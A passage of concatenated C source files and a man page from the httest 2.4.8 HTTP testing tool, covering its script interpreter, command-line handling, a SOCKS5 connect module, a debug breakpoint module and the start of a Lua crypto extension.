apr_pcalloc(global->pool, sizeof(*replacer_hook)); replacer_hook->ptmp = global->pool; replacer_hook->store = global->vars; if (global->recursiv > 8) { logger_log(global->logger, LOG_ERR, NULL, "Recursiv inlcudes too deep"); success = 0; exit(1); } if ((status = bufreader_new(&bufreader, fp, global->pool)) != APR_SUCCESS) { logger_log(global->logger, LOG_ERR, NULL, "Could not create buf reader for interpreter"); return status; } line_nr = 0; while (bufreader_read_line(bufreader, &line) == APR_SUCCESS) { ++line_nr; global->line_nr = line_nr; i = 0; if ((status = htt_run_read_line(global, &line)) != APR_SUCCESS) { logger_log(global->logger, LOG_ERR, NULL, "Failed on read line %s(%d)", my_status_str(global->pool, status), status); return status; } if (line[i] != '#' && line[i] != 0) { if (global->state != GLOBAL_STATE_NONE) { if ((strlen(line) >= 3 && strncmp(line, "END", 3) == 0)) { i += 3; if ((status = global_END(&global_commands[0], global, &line[i], NULL)) != APR_SUCCESS) { logger_log(global->logger, LOG_ERR, NULL, "Error on global END"); return status; } } else if ((status = worker_add_line(global->cur_worker, apr_psprintf(global->pool, "%s:%d", global->filename, line_nr), line)) != APR_SUCCESS) { logger_log(global->logger, LOG_ERR, NULL, "Could not add line lines table"); return status; } } else { command_t *command; apr_pool_t *ptmp; /* replace all variables for global commands */ line = replacer(global->pool, &line[i], replacer_hook, global_replacer); apr_pool_create_unmanaged_ex(&ptmp, NULL, NULL); /* lookup function index */ i = 0; command = lookup_command(global_commands, line); if (command->func) { i += strlen(command->name); if ((status = command->func(command, global, &line[i], ptmp)) != APR_SUCCESS) { return status; } } else { /* let's see if we find block for this job */ int cur_log_mode = logger_get_mode(global->worker->logger); logger_set_mode(global->worker->logger, 1); status = command_CALL(NULL, global->worker, line, ptmp); logger_set_mode(global->worker->logger, cur_log_mode); if (status != APR_SUCCESS && !APR_STATUS_IS_ENOENT(status)) { return status; } } apr_pool_destroy(ptmp); } } } if (global->state != GLOBAL_STATE_NONE) { logger_log(global->logger, LOG_ERR, NULL, "Missing END"); return APR_EGENERAL; } return APR_SUCCESS; } /** * root interpreter * * @param fp IN open file to interpret * @param vars IN host and port file * @param log_mode IN log mode * @param p IN pool * * @return an apr status */ static apr_status_t interpret(apr_file_t * fp, store_t * vars, apr_file_t *out, apr_file_t *err, int log_mode, apr_pool_t * p, char *additional, int log_thread_no) { apr_status_t status; int i; if ((status = global_new(&global, vars, log_mode, p, out, err, log_thread_no)) != APR_SUCCESS) { apr_file_printf(err, "\nCould not create global"); return status; } apr_hook_global_pool = global->pool; /** * Initialize registered modules */ for(i = 0; modules[i].module_init; i++) { modules[i].module_init(global); } /* must be that late for builtin modules */ /* for modules in includes it must be even later */ if (log_mode == -1) { show_commands(p, global); return APR_SUCCESS; } /* must be that late for builtin modules */ /* for modules in includes it must be even later */ if (log_mode == -2) { show_command_help(p, global, additional); return APR_SUCCESS; } process_global = global; apr_file_name_get(&global->filename, fp); if ((status = interpret_recursiv(fp, global)) != APR_SUCCESS) { return status; } status = global_GO(&global_commands[1], global, NULL, NULL); return status; } apr_getopt_option_t options[] = { { "version", 'V', 0, "Print version number and exit" }, { "help", 'h', 0, "Display usage information (this message)" }, { "suppress", 'n', 0, "do no print start and OK|FAILED" }, { "silent", 's', 0, "silent mode" }, { "error", 'e', 0, "log level error" }, { "info", 'i', 0, "log level info" }, { "debug", 'd', 0, "log level debug for script debugging" }, { "debug-system", 'p', 0, "log level debug-system to log more details" }, { "list-commands", 'L', 0, "List all available script commands" }, { "help-command", 'C', 1, "Print help for specific command" }, { "duration", 't', 0, "Print test duration" }, { "timestamp", 'T', 0, "Time stamp on every run" }, { "shell", 'S', 0, "Shell mode" }, { "shell", 'S', 0, "Shell mode" }, { "define", 'D', 1, "Define variables" }, { "log-thread-number", 'l', 0, "Show the thread number for every printed line" }, { "color", 'b', 0, "Colored output" }, { NULL, 0, 0, NULL } }; /** * display usage information * * @progname IN name of the programm */ static void usage(const char *progname) { int i = 0; fprintf(stdout, "%s is a script based tool for testing and benchmarking web applications, \n" "web servers, proxy servers and web browsers. httest can emulate clients and \n" "servers in the same test script, very useful for testing proxys.\n", progname); fprintf(stdout, "\nUsage: %s [OPTIONS] scripts\n", progname); fprintf(stdout, "\nOptions:"); while (options[i].optch) { if (options[i].optch <= 255) { fprintf(stdout, "\n -%c --%-15s %s", options[i].optch, options[i].name, options[i].description); } else { fprintf(stdout, "\n --%-15s %s", options[i].name, options[i].description); } i++; } fprintf(stdout, "\n"); fprintf(stdout, "\nExamples:"); fprintf(stdout, "\n%s script.htt", progname); fprintf(stdout, "\n\n%s -Ts script.htt", progname); fprintf(stdout, "\n"); fprintf(stdout, "\nReport bugs to http://sourceforge.net/projects/htt"); fprintf(stdout, "\n"); } /** * Print formated command help * * @param p IN pool * @param command IN command to print */ static void print_command_formated(apr_pool_t *p, command_t command) { char *help; char *last; char *val; fprintf(stdout, "%s %s", command.name, command.syntax); help = apr_pstrdup(p, command.help); val = apr_strtok(help, "\n", &last); while (val) { fprintf(stdout, "\n\t%s", val); val = apr_strtok(NULL, "\n", &last); } if (command.flags & COMMAND_FLAGS_DEPRECIATED) { fprintf(stdout, "\n\t*DEPRECIATED*"); } else if (command.flags & COMMAND_FLAGS_EXPERIMENTAL) { fprintf(stdout, "\n\t*EXPERIMENTAL*"); } fprintf(stdout, "\n"); } static int commands_compare(const char * const * right, const char * const *left) { return strcmp(*left, *right); } /** * Show all commands * * @param p IN pool */ static void show_commands(apr_pool_t *p, global_t *global) { int i; STACK_OF(char) *sorted; char *line; fprintf(stdout, "Global commands"); sorted = SKM_sk_new(char, commands_compare); for (i = 0; global_commands[i].name; i++) { if (global_commands[i].flags & COMMAND_FLAGS_DEPRECIATED) { line = apr_psprintf(p, "%s *DEPRECIATED*", global_commands[i].name); } if (global_commands[i].flags & COMMAND_FLAGS_EXPERIMENTAL) { line = apr_psprintf(p, "%s *EXPERIMENTAL*", global_commands[i].name); } else if (global_commands[i].flags & COMMAND_FLAGS_LINK) { line = apr_psprintf(p, "%s -> %s", global_commands[i].name, global_commands[i].syntax); } else { line = apr_psprintf(p, "%s %s", global_commands[i].name, global_commands[i].syntax); } SKM_sk_push(char, sorted, line); } SKM_sk_sort(char, sorted); line = SKM_sk_pop(char, sorted); while (line) { fprintf(stdout, "\n"); fprintf(stdout, "\t%s", line); line = SKM_sk_pop(char, sorted); } fprintf(stdout, "\n\nLocal commands"); sorted = SKM_sk_new(char, commands_compare); for (i = 0; local_commands[i].name; i++) { if (local_commands[i].flags & COMMAND_FLAGS_DEPRECIATED) { line = apr_psprintf(p, "*DEPRECIATED* %s", local_commands[i].name); } else if (local_commands[i].flags & COMMAND_FLAGS_EXPERIMENTAL) { line = apr_psprintf(p, "*EXPERIMENTAL* %s %s", local_commands[i].name, local_commands[i].syntax); } else if (local_commands[i].flags & COMMAND_FLAGS_LINK) { line = apr_psprintf(p, "%s -> %s", local_commands[i].name, local_commands[i].syntax); } else { line = apr_psprintf(p, "%s %s", local_commands[i].name, local_commands[i].syntax); } SKM_sk_push(char, sorted, line); } SKM_sk_sort(char, sorted); line = SKM_sk_pop(char, sorted); while (line) { fprintf(stdout, "\n"); fprintf(stdout, "\t%s", line); line = SKM_sk_pop(char, sorted); } fprintf(stdout, "\n\nModule commands"); sorted = SKM_sk_new(char, commands_compare); { apr_hash_index_t *hi; const char *module; apr_hash_t *block; for (hi = apr_hash_first(p, global->modules); hi; hi = apr_hash_next(hi)) { apr_hash_this(hi, (const void **)&module, NULL, (void **)&block); if (strcmp(module, "DEFAULT") != 0 && block) { const char *command; apr_hash_index_t *hi; worker_t *worker; for (hi = apr_hash_first(p, block); hi; hi = apr_hash_next(hi)) { apr_hash_this(hi, (const void **)&command, NULL, (void **)&worker); if (command) { if (*command == '_') { ++command; /* skip "_" */ line = apr_psprintf(p, "_%s:%s %s", module, command, worker->short_desc?worker->short_desc:""); } else { line = apr_psprintf(p, "%s:%s %s", module, command, worker->short_desc?worker->short_desc:""); } SKM_sk_push(char, sorted, line); } } } } } SKM_sk_sort(char, sorted); line = SKM_sk_pop(char, sorted); while (line) { fprintf(stdout, "\n"); fprintf(stdout, "\t%s", line); line = SKM_sk_pop(char, sorted); } fprintf(stdout, "\n\n(Get detailed help with --help-command )\n"); fflush(stdout); exit(0); } /** * Print help for specified command * * @param pool IN pool * @param command IN command name */ static void show_command_help(apr_pool_t *p, global_t *global, const char *command) { char *last; int i; for (i = 0; global_commands[i].name; i++) { if (strcmp(command, global_commands[i].name) == 0) { if (global_commands[i].flags & COMMAND_FLAGS_LINK) { /* this is a link, follow link */ command = global_commands[i].syntax; break; } print_command_formated(p, global_commands[i]); goto exit; } } for (i = 0; local_commands[i].name; i++) { if (strcmp(command, local_commands[i].name) == 0) { if (local_commands[i].flags & COMMAND_FLAGS_LINK) { /* this is a link, follow link */ command = local_commands[i].syntax; break; } print_command_formated(p, local_commands[i]); goto exit; } } if ((last = strchr(command, ':'))) { char *last; char *module; char *block_name; char *copy; apr_hash_t *blocks; worker_t *worker; copy = apr_pstrdup(p, command); /* determine module if any */ module = apr_strtok(copy, ":", &last); if (*module == '_') { module++; block_name = apr_pstrcat(p, "_", last, NULL); } else { block_name = apr_pstrdup(p, last); } if (!(blocks = apr_hash_get(global->modules, module, APR_HASH_KEY_STRING))) { fprintf(stdout, "command: %s does not exist\n\n", command); exit(1); } if (!(worker = apr_hash_get(blocks, block_name, APR_HASH_KEY_STRING))) { fprintf(stdout, "command: %s does not exist\n", command); exit(1); } else { char *help; char *val; char *last; fprintf(stdout, "%s %s\n", command, worker->short_desc?worker->short_desc:""); help = apr_pstrdup(p, worker->desc); val = apr_strtok(help, "\n", &last); while (val) { fprintf(stdout, "\t%s\n", val); val = apr_strtok(NULL, "\n", &last); } goto exit; } } fprintf(stdout, "command: %s does not exist\n\n", command); exit(1); exit: fflush(stdout); } /** * own exit func */ static void my_exit() { if (global && global->cleanup_pool) { apr_pool_destroy(global->cleanup_pool); } if (success == 0) { fprintf(stderr, " FAILED\n"); fflush(stderr); } else if (success == 1) { fprintf(stdout, " OK\n"); fflush(stdout); } else if (success == 2) { fprintf(stdout, " SKIPPED\n"); fflush(stdout); } } static void no_output_exit() { } /** * sort out command-line args and call test * * @param argc IN number of arguments * @param argv IN argument array * * @return 0 if success */ int main(int argc, const char *const argv[]) { apr_status_t status; apr_getopt_t *opt; const char *optarg; int c; apr_pool_t *pool; char *cur_file; apr_file_t *fp; store_t *vars; int log_mode; #define MAIN_FLAGS_NONE 0x0000 #define MAIN_FLAGS_PRINT_TSTAMP 0x0001 #define MAIN_FLAGS_USE_STDIN 0x0002 #define MAIN_FLAGS_NO_OUTPUT 0x0004 #define MAIN_FLAGS_PRINT_DURATION 0x0008 int flags; int logger_flags = 0; apr_time_t time = 0; char time_str[256]; apr_file_t *out; apr_file_t *err; srand(apr_time_now()); apr_app_initialize(&argc, &argv, NULL); apr_pool_create_unmanaged_ex(&pool, NULL, NULL); /* block broken pipe signal */ #if !defined(WIN32) apr_signal_block(SIGPIPE); #endif /* set default */ log_mode = LOG_CMD; flags = MAIN_FLAGS_NONE; /* create a global vars table */ vars = store_make(pool); apr_file_open_flags_stderr(&err, APR_BUFFERED|APR_XTHREAD, pool); apr_file_open_flags_stdout(&out, APR_BUFFERED|APR_XTHREAD, pool); /* get options */ apr_getopt_init(&opt, pool, argc, argv); while ((status = apr_getopt_long(opt, options, &c, &optarg)) == APR_SUCCESS) { switch (c) { case 'h': usage(filename(pool, argv[0])); exit(0); break; case 'V': copyright(filename(pool, argv[0])); exit(0); break; case 'n': flags |= MAIN_FLAGS_NO_OUTPUT; break; case 's': log_mode = LOG_NONE; break; case 'e': log_mode = LOG_ERR; break; case 'p': log_mode = LOG_DEBUG; break; case 'i': log_mode = LOG_INFO; break; case 'd': log_mode = LOG_ALL_CMD; break; case 't': flags |= MAIN_FLAGS_PRINT_DURATION; break; case 'L': interpret(NULL, NULL, out, err, -1, pool, NULL, 0); apr_file_flush(out); apr_file_flush(err); exit(0); break; case 'C': interpret(NULL, NULL, out, err, -2, pool, apr_pstrdup(pool, optarg), 0); apr_file_flush(out); apr_file_flush(err); exit(0); break; case 'T': flags |= MAIN_FLAGS_PRINT_TSTAMP; break; case 'S': flags |= MAIN_FLAGS_USE_STDIN; break; case 'D': { char *val; char *var; char *entry = apr_pstrdup(pool, optarg); var = apr_strtok(entry, "=", &val); if (var && var[0] && val && val[0]) { store_set(vars, var, val); } else { apr_file_printf(err, "Error miss value in variable definition \"-D%s\", " "need the format -D=\n", optarg); apr_file_flush(err); exit(1); } } break; case 'l': logger_flags |= APPENDER_STD_THREAD_NO; break; case 'b': logger_flags |= APPENDER_STD_COLOR; break; } } /* test for wrong options */ if (!APR_STATUS_IS_EOF(status)) { apr_file_printf(err, "try \"%s --help\" to get more information\n", filename(pool, argv[0])); apr_file_flush(err); exit(1); } /* test at least one file */ if (!log_mode == -1 && !(flags & MAIN_FLAGS_USE_STDIN) && !(argc - opt->ind)) { apr_file_printf(err, "%s: wrong number of arguments\n\n", filename(pool, argv[0])); apr_file_printf(err, "try \"%s --help\" to get more information\n", filename(pool, argv[0])); apr_file_flush(err); exit(1); } if (flags & MAIN_FLAGS_NO_OUTPUT) { atexit(no_output_exit); } else { atexit(my_exit); } /* do for all files (no wild card support) */ while (flags & MAIN_FLAGS_USE_STDIN || argc - opt->ind) { if (flags & MAIN_FLAGS_USE_STDIN) { cur_file = apr_pstrdup(pool, ""); } else { cur_file = apr_pstrdup(pool, opt->argv[opt->ind++]); } if ((flags & MAIN_FLAGS_USE_STDIN)) { if (log_mode != LOG_NONE) { apr_file_printf(out, "simple htt shell\n"); } } else if (flags & MAIN_FLAGS_PRINT_TSTAMP) { time = apr_time_now(); if ((status = apr_ctime(time_str, time)) != APR_SUCCESS) { apr_file_printf(err, "Could not format time: %s (%d)\n", my_status_str(pool, status), status); success = 0; apr_file_flush(err); exit(1); } if (!(flags & MAIN_FLAGS_NO_OUTPUT)) { apr_file_printf(out, "%s run %-54s\t", time_str, cur_file); } } else { if (!(flags & MAIN_FLAGS_NO_OUTPUT)) { apr_file_printf(out, "run %-80s\t", cur_file); } } apr_file_flush(out); /* open current file */ if (flags & MAIN_FLAGS_USE_STDIN) { if ((status = apr_file_open_stdin(&fp, pool)) != APR_SUCCESS) { apr_file_printf(err, "Could not open stdin: %s (%d)\n", my_status_str(pool, status), status); success = 0; apr_file_flush(err); exit(1); } } else if ((status = apr_file_open(&fp, cur_file, APR_READ, APR_OS_DEFAULT, pool)) != APR_SUCCESS) { apr_file_printf(err, "\nCould not open %s: %s (%d)", cur_file, my_status_str(pool, status), status); success = 0; apr_file_flush(err); exit(1); } if (flags & MAIN_FLAGS_PRINT_DURATION) { time = apr_time_now(); } /* interpret current file */ if ((status = interpret(fp, vars, out, err, log_mode, pool, NULL, logger_flags)) != APR_SUCCESS) { success = 0; apr_file_flush(out); apr_file_flush(err); exit(1); } if (log_mode >= LOG_INFO) { apr_file_printf(out, "\n"); apr_file_flush(out); } if (flags & MAIN_FLAGS_PRINT_DURATION) { time = apr_time_now() - time; apr_file_printf(out, "%"APR_TIME_T_FMT , time); apr_file_flush(out); } /* close current file */ apr_file_close(fp); if (flags & MAIN_FLAGS_USE_STDIN) { break; } } return 0; } APR_HOOK_STRUCT( APR_HOOK_LINK(read_line) APR_HOOK_LINK(block_start) APR_HOOK_LINK(block_end) APR_HOOK_LINK(server_port_args) APR_HOOK_LINK(worker_clone) APR_HOOK_LINK(client_create) APR_HOOK_LINK(server_create) APR_HOOK_LINK(thread_start) APR_HOOK_LINK(worker_finally) APR_HOOK_LINK(thread_join) APR_HOOK_LINK(worker_joined) ) APR_IMPLEMENT_EXTERNAL_HOOK_RUN_FIRST(htt, HTT, apr_status_t, server_port_args, (worker_t *worker, char *portinfo, char **new_portinfo, char *rest_of_line), (worker, portinfo, new_portinfo, rest_of_line), APR_SUCCESS); APR_IMPLEMENT_EXTERNAL_HOOK_RUN_FIRST(htt, HTT, apr_status_t, worker_clone, (worker_t *worker, worker_t *clone), (worker, clone), APR_SUCCESS); APR_IMPLEMENT_EXTERNAL_HOOK_RUN_FIRST(htt, HTT, apr_status_t, read_line, (global_t *global, char **line), (global, line), APR_SUCCESS); APR_IMPLEMENT_EXTERNAL_HOOK_RUN_FIRST(htt, HTT, apr_status_t, block_start, (global_t *global, char **line), (global, line), APR_ENOTIMPL); APR_IMPLEMENT_EXTERNAL_HOOK_RUN_FIRST(htt, HTT, apr_status_t, block_end, (global_t *global), (global), APR_SUCCESS); APR_IMPLEMENT_EXTERNAL_HOOK_RUN_FIRST(htt, HTT, apr_status_t, client_create, (worker_t *worker, apr_thread_start_t func, apr_thread_t **new_thread), (worker, func, new_thread), APR_ENOTIMPL); APR_IMPLEMENT_EXTERNAL_HOOK_RUN_FIRST(htt, HTT, apr_status_t, server_create, (worker_t *worker, apr_thread_start_t func, apr_thread_t **new_thread), (worker, func, new_thread), APR_ENOTIMPL); APR_IMPLEMENT_EXTERNAL_HOOK_RUN_FIRST(htt, HTT, apr_status_t, thread_start, (global_t *global, apr_thread_t *thread), (global, thread), APR_SUCCESS); APR_IMPLEMENT_EXTERNAL_HOOK_RUN_FIRST(htt, HTT, apr_status_t, worker_finally, (worker_t *worker), (worker), APR_SUCCESS); APR_IMPLEMENT_EXTERNAL_HOOK_RUN_FIRST(htt, HTT, apr_status_t, thread_join, (global_t *global, apr_thread_t *thread), (global, thread), APR_ENOTIMPL); APR_IMPLEMENT_EXTERNAL_HOOK_RUN_FIRST(htt, HTT, apr_status_t, worker_joined, (global_t *global), (global), APR_SUCCESS); httest-2.4.8/src/socks_module.c0000664000175100017510000001213112205142236013402 00000000000000/** * Copyright 2010 Christian Liesch * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author christian liesch * * Implementation of the HTTP Test Tool socks module */ /************************************************************************ * Includes ***********************************************************************/ #include "module.h" #ifndef HAVE_NO_NETINET #include #endif /************************************************************************ * Definitions ***********************************************************************/ typedef union ip_s { uint32_t addr; uint8_t digit[4]; } ip_u; typedef union port_s { uint16_t port; uint8_t digit[2]; } port_u; /************************************************************************ * Globals ***********************************************************************/ /************************************************************************ * Local ***********************************************************************/ /** * check if string is an IPv4 address * @param addr IN addr to check * @return 1 if it is IPv4 else 0 */ static int socks_is_ipv4(const char *addr) { return apr_isdigit(addr[0]); } /************************************************************************ * Commands ***********************************************************************/ /** * Do socks proxy handshake. * @param worker IN callee * @param parent IN caller * @param ptmp IN temp pool * @return apr status */ static apr_status_t block_SOCKS_CONNECT(worker_t *worker, worker_t *parent, apr_pool_t *ptmp) { port_u port; unsigned char buf[10]; apr_status_t status; char *hostname = store_get_copy(worker->params, ptmp, "1"); const char *portname = store_get(worker->params, "2"); transport_t *transport; apr_size_t len; if (!worker->socket) { worker_log(worker, LOG_ERR, "Can not send initial SOCKS bytes"); return APR_ENOSOCKET; } transport = worker->socket->transport; buf[0] = 5; buf[1] = 1; buf[2] = 0; if ((status = transport_write(transport, (char *)buf, 3)) != APR_SUCCESS) { worker_log(worker, LOG_ERR, "Can not send initial SOCKS bytes"); return status; } len = 2; if ((status = transport_read(transport, (char *)buf, &len)) != APR_SUCCESS) { worker_log(worker, LOG_ERR, "Can not read initial SOCKS bytes"); return status; } if (len != 2 || buf[0] != 5 || buf[1] != 0) { worker_log(worker, LOG_ERR, "Wrong protocol bytes received"); return APR_EINVAL; } buf[0] = 5; buf[1] = 1; buf[2] = 0; if (socks_is_ipv4(hostname)) { ip_u ip; char *last; char *digit = apr_strtok(hostname, ".", &last); int i = 0; ip.addr = 0; while (digit) { ip.digit[i] = atoi(digit); digit = apr_strtok(NULL, ".", &last); i++; } /* ATYPE IPv4 */ buf[3] = 1; for (i = 0; i < 4; i++) { buf[4 + i] = ip.digit[i]; } if ((status = transport_write(transport, (char *)buf, 8)) != APR_SUCCESS) { worker_log(worker, LOG_ERR, "Can not send IP to SOCKS proxy"); return status; } } else { /* ATYPE Domain name */ buf[3] = 3; buf[4] = strlen(hostname); if ((status = transport_write(transport, (char *)buf, 5)) != APR_SUCCESS) { worker_log(worker, LOG_ERR, "Can not send hostname to SOCKS proxy"); return status; } if ((status = transport_write(transport, hostname, buf[4])) != APR_SUCCESS) { worker_log(worker, LOG_ERR, "Can not send hostname to SOCKS proxy"); return status; } } port.port = atoi(portname); port.port = htons(port.port); if ((status = transport_write(transport, (char *)port.digit, 2)) != APR_SUCCESS) { worker_log(worker, LOG_ERR, "Can not send port to SOCKS proxy"); return status; } len = 10; if ((status = transport_read(transport, (char *)buf, &len)) != APR_SUCCESS) { worker_log(worker, LOG_ERR, "Can not read final SOCKS bytes"); return status; } return APR_SUCCESS; } /************************************************************************ * Module ***********************************************************************/ apr_status_t socks_module_init(global_t *global) { apr_status_t status; if ((status = module_command_new(global, "SOCKS", "_CONNECT", " ", "Do run socks protocol over a established TCP connection", block_SOCKS_CONNECT)) != APR_SUCCESS) { return status; } return APR_SUCCESS; } httest-2.4.8/src/dbg_module.c0000664000175100017510000001476212205174226013034 00000000000000/* Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author christian liesch * * Implementation of the HTTP Test Tool dbg module */ /************************************************************************ * Includes ***********************************************************************/ #include "store.h" #include "module.h" /************************************************************************ * Definitions ***********************************************************************/ /************************************************************************ * Globals ***********************************************************************/ /************************************************************************ * Local ***********************************************************************/ /** * Simple dbg interpreter * @param worker IN callee * @param parent IN caller * @param pool IN temporary pool * @return apr status */ static apr_status_t dbg_interpreter(worker_t *worker, worker_t *parent, apr_pool_t *ptmp) { apr_status_t status; apr_file_t *input; apr_file_t *output; bufreader_t *bufreader; char *line = ""; int pos = 0; if ((status = apr_file_open_stdout(&output, ptmp)) != APR_SUCCESS) { worker_log(worker, LOG_ERR, "Can not open stdout"); return status; } apr_file_printf(output, "\nbreak %s", worker_get_file_and_line(worker)); apr_file_printf(output, "\n>"); apr_file_flush(output); if ((status = apr_file_open_stdin(&input, ptmp)) != APR_SUCCESS) { worker_log(worker, LOG_ERR, "Can not open stdin"); return status; } if ((status = bufreader_new(&bufreader, input, ptmp)) != APR_SUCCESS) { worker_log(worker, LOG_ERR, "Can not create buffered reader for stdin"); return status; } for (;;) { char *last; char *entry; if ((status = bufreader_read_line(bufreader, &line)) != APR_SUCCESS) { worker_log(worker, LOG_ERR, "Can not read line from buffered stdin\n"); return status; } if (!line[0]) { goto prompt; } entry = apr_strtok(line, " ", &last); if (!entry) { apr_file_printf(output, "Parser error\n"); goto prompt; } if (strcmp(entry, "cont") == 0 || strcmp(entry, "c") == 0) { break; } else if (strcmp(entry, "quit") == 0 || strcmp(entry, "q") == 0) { apr_file_printf(output, "Abort\n"); exit(0); } else if (strcmp(entry, "get") == 0 || strcmp(entry, "g") == 0) { char *variable; const char *value; variable = last; if (!variable|| !variable[0]) { apr_file_printf(output, "Need a variable name as argument\n"); goto prompt; } value = worker_resolve_var(worker, variable, ptmp); if (!value) { char *env; if (apr_env_get(&env, variable, ptmp) == APR_SUCCESS) { value = env; } } apr_file_printf(output, "%s\n", value ? value : ""); } else if (strcmp(entry, "set") == 0 || strcmp(entry, "s") == 0) { char *expr = last; char *var; char *val; if (!expr || !strchr(expr, '=')) { apr_file_printf(output, "Need an assignment =\n"); goto prompt; } var = apr_strtok(expr, "=", &val); if (!var || !val || !var[0] || !val[0]) { apr_file_printf(output, "Need an assignment =\n"); goto prompt; } worker_var_set(worker, var, val); } else if (strcmp(entry, "list") == 0 || strcmp(entry, "ls") == 0 || strcmp(entry, "l") == 0) { int i, j; apr_table_entry_t *e = (apr_table_entry_t *) apr_table_elts(parent->lines)->elts; if (!pos) { pos = worker->cmd; pos = pos > 5 ? pos - 5 : 0; } for (i = pos, j = 0; i < apr_table_elts(parent->lines)->nelts && j < 10; i++, j++) { apr_file_printf(output, "> %s\n", e[i].val); } pos = i; } else if (strcmp(entry, "help") == 0 || strcmp(entry, "h") == 0 || strcmp(entry, "?") == 0) { apr_file_printf(output, "help, h, ?\n"); apr_file_printf(output, " This help text.\n"); apr_file_printf(output, "cont, c\n"); apr_file_printf(output, " Continue script execution.\n"); apr_file_printf(output, "quit, q\n"); apr_file_printf(output, " Quit script execution.\n"); apr_file_printf(output, "list, ls, l\n"); apr_file_printf(output, " List script around breakpoint.\n"); apr_file_printf(output, "get, g \n"); apr_file_printf(output, " Print value of .\n"); apr_file_printf(output, "set, s =\n"); apr_file_printf(output, " Set to .\n"); } else { apr_file_printf(output, "\"%s\" unknown command, type help or ? for information\n", line); } prompt: apr_file_printf(output, ">"); apr_file_flush(output); } return APR_SUCCESS; } /************************************************************************ * Commands ***********************************************************************/ /** * Simple break point * @param worker IN callee * @param parent IN caller * @param pool IN temporary pool * @return apr status */ static apr_status_t block_DBG_BP(worker_t *worker, worker_t *parent, apr_pool_t *ptmp) { return dbg_interpreter(worker, parent, ptmp); } /************************************************************************ * Module ***********************************************************************/ apr_status_t dbg_module_init(global_t *global) { apr_status_t status; if ((status = module_command_new(global, "DBG", "_BP", "", "Stop script execution in the given thread at the given point. " "Continue after typing \"c\"", block_DBG_BP)) != APR_SUCCESS) { return status; } return APR_SUCCESS; } httest-2.4.8/src/htremote.10000664000175100017510000000217412205370421012465 00000000000000.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.40.11. .TH HTREMOTE "1" "August 2013" "htremote 2.4.8" "User Commands" .SH NAME htremote \- record a HTTP session .SH SYNOPSIS .B htremote [\fIOPTIONS\fR] .SH DESCRIPTION htremote do start a command and stream the stdin and stdout/stderr over a socket. The htremote do act as a server, which could be read line by line. .SH OPTIONS .TP \fB\-v\fR \fB\-\-version\fR Print version number and exit .TP \fB\-h\fR \fB\-\-help\fR Display usage information (this message) .TP \fB\-p\fR \fB\-\-port\fR Port .TP \fB\-e\fR \fB\-\-command\fR Remote controlled command .TP \fB\-r\fR \fB\-\-restart\fR Restart after command terminates .TP \fB\-t\fR \fB\-\-thread\fR Start a thread every connect and start command .PP Distribute httest example (httest option see httest \fB\-\-help\fR): htremote \fB\-p\fR 8080 \fB\-e\fR "./httest \fB\-Ss\fR" .SH AUTHOR Written by Christian Liesch .SH COPYRIGHT Copyright \(co 2006 Free Software Foundation, Inc. .br This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. httest-2.4.8/src/lua_crypto.c0000664000175100017510000006100012205040746013076 00000000000000/* Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * --------------------------------------------------------------------------- * This work is derived from the famos luacrypto library: * * The LuaCrypto library is designed and implemented by Keith Howe. The * implementation is not derived from licensed software. * * Copyright © 2006 Keith Howe. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to * deal in the Software without restriction, including without limitation the * rights to use, copy, modify, merge, publish, distribute, sublicense, and/or * sell copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS * IN THE SOFTWARE. * --------------------------------------------------------------------------- */ /** * @file * * @Author christian liesch * * Interface of the HTTP Test Tool lua crypto extention. */ /************************************************************************ * Includes ***********************************************************************/ #ifdef HAVE_CONFIG_H #include #endif #include #include #include #include #include #include #include #include #include #define LUA_COMPAT_MODULE #include "lua.h" #include "lauxlib.h" #if ! defined (LUA_VERSION_NUM) || LUA_VERSION_NUM < 501 #include "compat-5.1.h" #endif #include "lua_crypto.h" #include "module.h" /************************************************************************ * Definitions ***********************************************************************/ #define LUACRYPTO_PREFIX "LuaCrypto: " #define LUACRYPTO_CORE "crypto" #define LUACRYPTO_EVP "crypto.evp" #define LUACRYPTO_HMAC "crypto.hmac" #define LUACRYPTO_RAND "crypto.rand" #define LUACRYPTO_BASE64 "crypto.base64" #define LUACRYPTO_X509 "crypto.x509" #define LUACRYPTO_X509NAME "crypto.x509name" #define LUACRYPTO_ASN1TIME "crypto.asn1time" #define LUACRYPTO_DH "crypto.dh" /************************************************************************ * 